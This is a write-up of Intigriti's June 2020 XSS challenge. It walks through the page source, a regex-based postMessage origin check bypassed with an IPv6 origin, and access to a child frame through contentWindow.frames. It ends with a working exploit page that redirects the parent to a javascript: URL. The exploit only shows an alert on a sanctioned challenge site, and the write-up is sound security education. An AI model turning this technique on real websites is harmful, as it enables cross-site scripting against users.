Intigriti's June 2020 XSS Challenge

Introduction

On the 15th of June, Intigriti announced their June XSS Challenge. Once again, I was very late to the challenge as I do not have a Twitter account. I only noticed it was running around 17 hours before it ended because I decided to read some of Intigriti's posts.

Recon

I clicked on the link in the Tweet and was brought to http://challenge-june.intigriti.io/challenges/june.html. This was interesting because in previous challenges, the main page was at /. As usual, I pressed CTRL+U to view the HTML. Here it is:

<!DOCTYPE html>
<html>
<head>
  <title>June XSS Challenge - Intigriti</title>
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:site" content="@intigriti">
  <meta name="twitter:creator" content="@intigriti">
  <meta name="twitter:title" content="June XSS Challenge - Intigriti">
  <meta name="twitter:description" content="Find the XSS and WIN a Burp Suite Pro license.">
  <meta name="twitter:image" content="https://challenge-june.intigriti.io/june.jpg">
  <meta property="og:url" content="https://challenge-june.intigriti.io" />
  <meta property="og:type" content="website" />
  <meta property="og:title" content="June XSS Challenge - Intigriti" />
  <meta property="og:description" content="Find the XSS and WIN a Burp Suite Pro license." />
  <meta property="og:image" content="https://challenge-june.intigriti.io/june.jpg" />
  <link rel="stylesheet" type="text/css" href="../style.css">
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">
  <script>
    if(parent){
      setTimeout(function(){
        parent.postMessage(window.location.href, "http://challenge-june.intigriti.io");
      }, 1000);
    }
  </script>
</head>
<body>
  <div id="challenge-container">
    <div id="challenge-info">
      <img src="../logo-cutout.png">
      <h1><a href="https://intigriti.com" target="_blank">Intigriti</a>'s June XSS challenge</h1>
      <p>Find a way to execute arbitrary javascript on this page and win a Burp Suite Pro License.</p>
      <b>Rules:</b>
      <ul>
        <li>This challenge runs from June 15 until June 21, 11:59 PM CET.</li>
        <li>Out of all correct submissions, we will randomly draw one winner on Monday, June 22.</li>
        <li>The winner gets a Burp Suite Pro License (1 year)</li>
        <li>The winner will be announced on our <a href="https://twitter.com/intigriti" target="_blank">Twitter profile</a>.</li>
        <li>For every 100 likes, we'll add a tip to <a href="https://go.intigriti.com/challenge-tips" target="_blank">announcement tweet</a>.</li>
      </ul>
      <b>The solution...</b>
      <ul>
        <li>Should be reported here: <a href="https://go.intigriti.com/submit-solution" target="_blank">go.intigriti.com/submit-solution</a></li>
        <li>Should work on the latest version of Firefox or Chrome</li>
        <li>Should execute the following JS: <code>alert(document.domain)</code></li>
        <li>Should be executed on this page, on <a href="http://challenge-june.intigriti.io">challenge-june.intigriti.io/</a></li>
        <li>Should work without user interaction (no self XSS) or MiTM</li>
      </ul>
    </div>
  </div>
</body>

The only notable thing I saw was the following JavaScript code:

if(parent){
  setTimeout(function(){
    parent.postMessage(window.location.href, "http://challenge-june.intigriti.io");
  }, 1000);
}

The code doesn't mean much without context, so I went to http://challenge-june.intigriti.io/. There was a loading screen, a change to location.hash, and then I was redirected back to http://challenge-june.intigriti.io/challenges/june.html. I decided to go to view-source:http://challenge-june.intigriti.io/ to see what was actually happening. Here's the HTML of that page:

<!DOCTYPE>
<html>
  <head>
    <title>June XSS Challenge - Intigriti</title>
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:site" content="@intigriti">
    <meta name="twitter:creator" content="@intigriti">
    <meta name="twitter:title" content="June XSS Challenge - Intigriti">
    <meta name="twitter:description" content="Find the XSS and WIN a Burp Suite Pro license.">
    <meta name="twitter:image" content="https://challenge-june.intigriti.io/june.jpg">
    <meta property="og:url" content="https://challenge-june.intigriti.io" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="June XSS Challenge - Intigriti" />
    <meta property="og:description" content="Find the XSS and WIN a Burp Suite Pro license." />
    <meta property="og:image" content="https://challenge-june.intigriti.io/june.jpg" />
    <link rel="stylesheet" type="text/css" href="../style.css">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">
    <script>
      window.onhashchange = function(hash){
          loadChallenge(location.hash);
      }

      window.onmessage = function(e) {
        if (e.source == challenge.contentWindow &&
            'http://challenge-june.intigriti.io'.search(e.origin.replace(/\./g,'\\.')) > -1)
            location.href = e.data;
      }

      window.onload = function(){
        var hash = location.hash;
        if(!hash){
            window.location.hash = "june";
        }
        else{
            loadChallenge(hash);
        }
      }

      function loadChallenge(hash){
          hash = hash.substr(1);
          var frame = document.createElement("frame");
          frame.id = `challenge`;
          frame.src = `./challenges/${hash}.html`;
          document.body.appendChild(frame);
      }
    </script>
    <link rel="stylesheet" type="text/css" href="style.css">
  </head>
  <body>
    <div id="loading-container">
      <div id="loading">
        <img src="./logo-cutout.png">
        <p>Loading</p>
      </div>
    </div>
  </body>
</html>

The JavaScript code grabbed my attention. It's straightforward - it just provides a default value for location.hash, then embeds the page hinted by location.hash in a frame and awaits a message. Upon receiving and validating said message, it redirects to the message data.
This revealed the purpose of the code snippet from earlier that posts its location to the parent frame, although it seemed to be for exemplary purposes.

Thorough explanation of the JavaScript code

onload & onhashchange

onload checks if location.hash is empty, and if it is, it sets it to "june". After that, either onload or onhashchange (which fires every time location.hash is changed) calls loadChallenge(location.hash).

loadChallenge

loadChallenge takes an argument named hash, from which the first character is removed. (The first character is removed because hash will look like #june, but it wants it to look like june. Basically, it ignores the leading #.)
It creates a frame, sets its identifier to "challenge", and sets its source to ./challenges/${hash}.html (inside template literals/"backtick strings" in JavaScript, ${...} tokens are evaluated meaning that ${hash} will be substituted for the value of the hash variable). After that, it appends the frame to body.

onmessage

If the source of the frame created in loadChallenge is valid/expected, for example ./challenges/june.html, onmessage will receive a message from said frame at some point. Upon receiving that message, it will ensure that it came from the aforementioned frame, and it will try to ensure that the message came from the same origin by using 'http://challenge-june.intigriti.io'.search. If those checks pass then onmessage will cause a redirect to the message's data.

Finding the XSS vulnerability

To get started, I quickly made a HTML file with an iframe and a script to set the src attribute to http://challenge-june.intigriti.io/#a (I didn't set src in the HTML because it's not as clean in my opinion). I had put #a at the end to prevent it from redirecting - I was fairly sure that I didn't actually need june.html. I don't have the exact file at the time of writing this blog post, but here's a recreation of it:

<!DOCTYPE html>
<html>
    <head>
        <title>Solution</title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <iframe id="frame" style="display: none"></iframe>
        <script>
            let frame = document.getElementById("frame"); // I don't like being implicit.
            frame.src = "http://challenge-june.intigriti.io/#a";
        </script>
    </body>
</html>

The first check I tried to bypass was, for some reason, 'http://challenge-june.intigriti.io'.search(e.origin.replace(/\./g,'\\.')) > -1 in onmessage. In hindsight, that was a strange place to start. Anyway, I looked up String.prototype.search and found myself at https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search. After reading that search takes a regular expression as an argument, I ran some tests in my devtools - essentially "http://abc".search("http://[a]");, which expectedly produced 0 meaning that the string was being treated as a regular expression. So, the obvious way to bypass this check was to use an IPv6 origin - they form a RegExp character set exactly where one was needed in order to bypass the check: directly after http://. In other words, [an IPv6 address] is likely to contain a character in challenge-june.intigriti.io, meaning that 'http://challenge-june.intigriti.io'.search('http://[an IPv6 address]') will return a value higher than -1. Using IPv6 origins as a "character set" like that did restrict me to using (TCP) port 80 (HTTP) and prevented me from using the loopback address - these weren't issues, but I thought I'd throw that information in here.

I then turned my attention to e.source == challenge.contentWindow. I remembered that the previous XSS challenge had an open redirect at //<location> and I saw that loadChallenge did not protect against directory traversal, so I started looking for an open redirect bug. There wasn't one at //<location> - in fact, there wasn't one at all. I had hit a dead-end. I had one last idea, and that was to look at the properties of the iframe (to http://challenge-june.intigriti.io/#a) in my HTML file's contentWindow. A particularly interesting one was frames - an array-like object consisting of embedded frames. I expanded it in my devtools and it looked like I could get a reference to http://challenge-june.intigriti.io/#a's "challenge" frame. I could. This meant that I could literally redirect that frame to http://[my IPv6 address here]/... and post a message from there. For example, frame.contentWindow.frames[0].location = "..."; from my top frame, and parent.postMessage(..., "*"); inside the newly redirected frame.

Now that I had bypassed the message validation, I could freely redirect http://challenge-june.intigriti.io/#a to wherever I wanted. Due to that page not having a Content Security Policy in place, I could achieve XSS by redirecting to the JavaScript protocol (for example, javascript:alert(document.domain)).

All that was left to do was to automate it inside of my HTML file. This was basically piecing everything together.
My final solution:

<!DOCTYPE html>
<html>
    <head>
        <title>Solution</title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <iframe id="frame" style="display: none"></iframe>
        <script>
            if (new URLSearchParams(location.search).get("f")) {
                parent.postMessage("javascript:alert(document.domain)", "http://challenge-june.intigriti.io");
            } else {
                let frame = document.getElementById("frame");

                frame.onload = _ => {
                    frame.contentWindow.frames[0].location = "http://[IPv6 address]/?f=1";
                }

                frame.src = "http://challenge-june.intigriti.io/#a";
            }
        </script>
    </body>
</html>

Update from June 23rd:
To clarify: my "Solution" document should be hosted at / on (TCP) port 80 (where a web server should be running) at an IPv6 address which contains a character from challenge-june.intigriti.io. That IPv6 address should be the one taking the place of the IPv6 address placeholder in my "Solution" document.